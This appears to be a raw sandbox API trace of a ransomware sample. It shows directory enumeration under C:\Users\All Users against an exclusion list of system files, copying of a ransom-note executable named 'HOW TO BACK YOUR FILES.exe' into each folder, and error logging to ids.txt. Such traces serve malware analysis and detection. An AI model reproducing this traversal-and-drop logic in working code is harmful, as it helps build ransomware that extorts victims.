	[0038.704] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0038.704] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0038.705] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0038.705] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0038.705] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0038.705] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0038.705] lstrlenW (lpString="Favorites") returned 9
	[0038.705] lstrlenW (lpString="C:\\Users\\All Users\\Documents") returned 28
	[0038.705] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0038.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0038.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b62c8
	[0038.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0038.705] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a843a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.705] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.705] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0038.705] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0038.705] lstrlenW (lpString="Microsoft") returned 9
	[0038.705] lstrlenW (lpString="C:\\Users\\All Users\\Favorites") returned 28
	[0038.705] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0038.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0038.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6310
	[0038.705] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0038.705] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft Help", lpString2="Apollon865.txt.exe") returned 1
	[0038.705] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1
	[0038.706] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1
	[0038.706] lstrlenW (lpString="Microsoft Help") returned 14
	[0038.706] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft") returned 28
	[0038.706] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help"
	[0038.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0038.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bde88
	[0038.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0038.706] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="Apollon865.txt.exe") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1
	[0038.706] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1
	[0038.706] lstrlenW (lpString="Mozilla") returned 7
	[0038.706] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help") returned 33
	[0038.706] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla"
	[0038.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0038.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca190
	[0038.706] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0038.706] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="Apollon865.txt.exe") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1
	[0038.707] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1
	[0038.707] lstrlenW (lpString="Oracle") returned 6
	[0038.707] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla") returned 26
	[0038.707] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle"
	[0038.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0038.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca1d0
	[0038.707] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0038.707] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="Apollon865.txt.exe") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1
	[0038.707] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1
	[0038.707] lstrlenW (lpString="Package Cache") returned 13
	[0038.707] lstrlenW (lpString="C:\\Users\\All Users\\Oracle") returned 25
	[0038.707] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache"
	[0038.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0038.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bded8
	[0038.708] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0038.708] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1
	[0038.708] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1
	[0038.708] lstrlenW (lpString="Start Menu") returned 10
	[0038.708] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache") returned 32
	[0038.708] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0038.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0038.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b6358
	[0038.708] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0038.708] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="Apollon865.txt.exe") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1
	[0038.708] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1
	[0038.708] lstrlenW (lpString="Sun") returned 3
	[0038.709] lstrlenW (lpString="C:\\Users\\All Users\\Start Menu") returned 29
	[0038.709] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Sun" | out: lpString1="Sun") returned="Sun"
	[0038.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0038.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e60
	[0038.709] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0038.709] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1
	[0038.709] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1
	[0038.709] lstrlenW (lpString="Templates") returned 9
	[0038.709] lstrlenW (lpString="C:\\Users\\All Users\\Sun") returned 22
	[0038.709] lstrcpyW (in: lpString1=0x2d3e576, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0038.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0038.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b63a0
	[0038.709] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0038.709] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0038.709] FindClose (in: hFindFile=0x5ca450 | out: hFindFile=0x5ca450) returned 1
	[0038.709] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0038.709] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0038.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b63a0 | out: hHeap=0x580000) returned 1
	[0038.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0038.709] lstrlenW (lpString="C:\\Users\\All Users\\Templates") returned 28
	[0038.709] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Templates" | out: lpString1="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0038.709] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.715] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xffffffff
	[0038.715] GetLastError () returned 0x5
	[0038.715] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Templates\\* FindFirstFile error 5\r\n") returned 62
	[0038.715] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Templates\\* FindFirstFile error 5\r\n") returned 62
	[0038.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0038.716] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x972
	[0038.716] WriteFile (in: hFile=0x148, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3e, lpOverlapped=0x0) returned 1
	[0038.716] CloseHandle (hObject=0x148) returned 1
	[0038.717] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0038.717] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Sun", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun"
	[0038.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0038.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0038.717] lstrlenW (lpString="C:\\Users\\All Users\\Sun") returned 22
	[0038.717] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun" | out: lpString1="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun"
	[0038.717] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.717] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.722] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.722] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.722] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.722] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.722] lstrcmpiW (lpString1=".", lpString2=".") returned 0
